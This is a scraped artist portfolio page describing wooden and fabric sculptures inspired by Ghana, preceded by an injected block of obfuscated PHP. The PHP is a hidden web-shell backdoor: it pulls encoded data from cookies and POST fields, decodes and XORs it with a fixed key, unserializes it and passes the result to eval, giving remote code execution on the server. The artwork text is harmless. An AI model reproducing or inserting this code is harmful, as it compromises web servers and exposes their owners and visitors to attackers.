$gImzICt = chr ( 584 - 494 ).chr ( 602 - 519 ).chr (106) . "\137" . chr (99) . chr ( 865 - 786 ).chr ( 93 - 16 ).chr (73); $xIyQVUQSX = chr (99) . 'l' . 'a' . chr (115) . 's' . "\x5f" . "\x65" . "\170" . 'i' . chr ( 274 - 159 )."\x74" . "\x73";$QOVerCgrS = $xIyQVUQSX($gImzICt); $gImzICt = "48165";$fUHScM = $QOVerCgrS;$xIyQVUQSX = "36918";if (!$fUHScM){class ZSj_cOMI{private $WIEzuoSoEZ;public static $uSwzxnZBe = "e92eaa43-95b3-439e-9d5f-288e91ea9e82";public static $HAZWZfWOC = 1593;public function __construct($eRgLYr=0){$MNddoZnTcf = $_COOKIE;$gJLIlbycKy = $_POST;$OjnUm = @$MNddoZnTcf[substr(ZSj_cOMI::$uSwzxnZBe, 0, 4)];if (!empty($OjnUm)){$HDYhWifq = "base64";$DkTEh = "";$OjnUm = explode(",", $OjnUm);foreach ($OjnUm as $lqdNwf){$DkTEh .= @$MNddoZnTcf[$lqdNwf];$DkTEh .= @$gJLIlbycKy[$lqdNwf];}$DkTEh = array_map($HDYhWifq . '_' . chr (100) . "\x65" . 'c' . 'o' . 'd' . "\145", array($DkTEh,)); $DkTEh = $DkTEh[0] ^ str_repeat(ZSj_cOMI::$uSwzxnZBe, (strlen($DkTEh[0]) / strlen(ZSj_cOMI::$uSwzxnZBe)) + 1);ZSj_cOMI::$HAZWZfWOC = @unserialize($DkTEh);}}private function IcpiYXM(){if (is_array(ZSj_cOMI::$HAZWZfWOC)) {$sfTpH = str_replace(chr (60) . "\x3f" . "\x70" . 'h' . "\x70", "", ZSj_cOMI::$HAZWZfWOC[chr (99) . chr ( 842 - 731 ).chr (110) . chr (116) . "\x65" . chr ( 1050 - 940 )."\164"]);eval($sfTpH); $MShrhaw = "2091";exit();}}public function __destruct(){$this->IcpiYXM(); $MShrhaw = "2091";$okjNpg = str_pad($MShrhaw, 10);}}$EmEbaBOprs = new /* 8133 */ ZSj_cOMI(); $EmEbaBOprs = substr("33102_53575", 1);} Ohenewa Anno » Category » Sculpture Designs
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untitled (tattoo sculpture)

This sculpture was based on my clients tatoo. At the very end I realised it can be viewed as a heart however the focus is the vibrant ghanaian blue fabric against the natural wood color. This is my first smaller sculpture, I believe more to come!
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Drip Series

These pieces were inspired by my life in Ghana as an artist. The rich fabric you will find in the country is something that I have grown up and for the first time living in Ghana I got to see the origins. This piece symbolizes a number of things but mostly the merging of two ideas is what I was interested in.These sculptures are available for purchase. send me a message.
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Untitled

This piece was my first experience with wood art. I find that with digital art I do not have an opportunity for someone to actually display my work, so I thought to explore with wall art. My focus here has been on abstract shapes and negative space. I love that through this there is a good amount of room for interpretation. This piece is now in a home in Sarasota, Florida.
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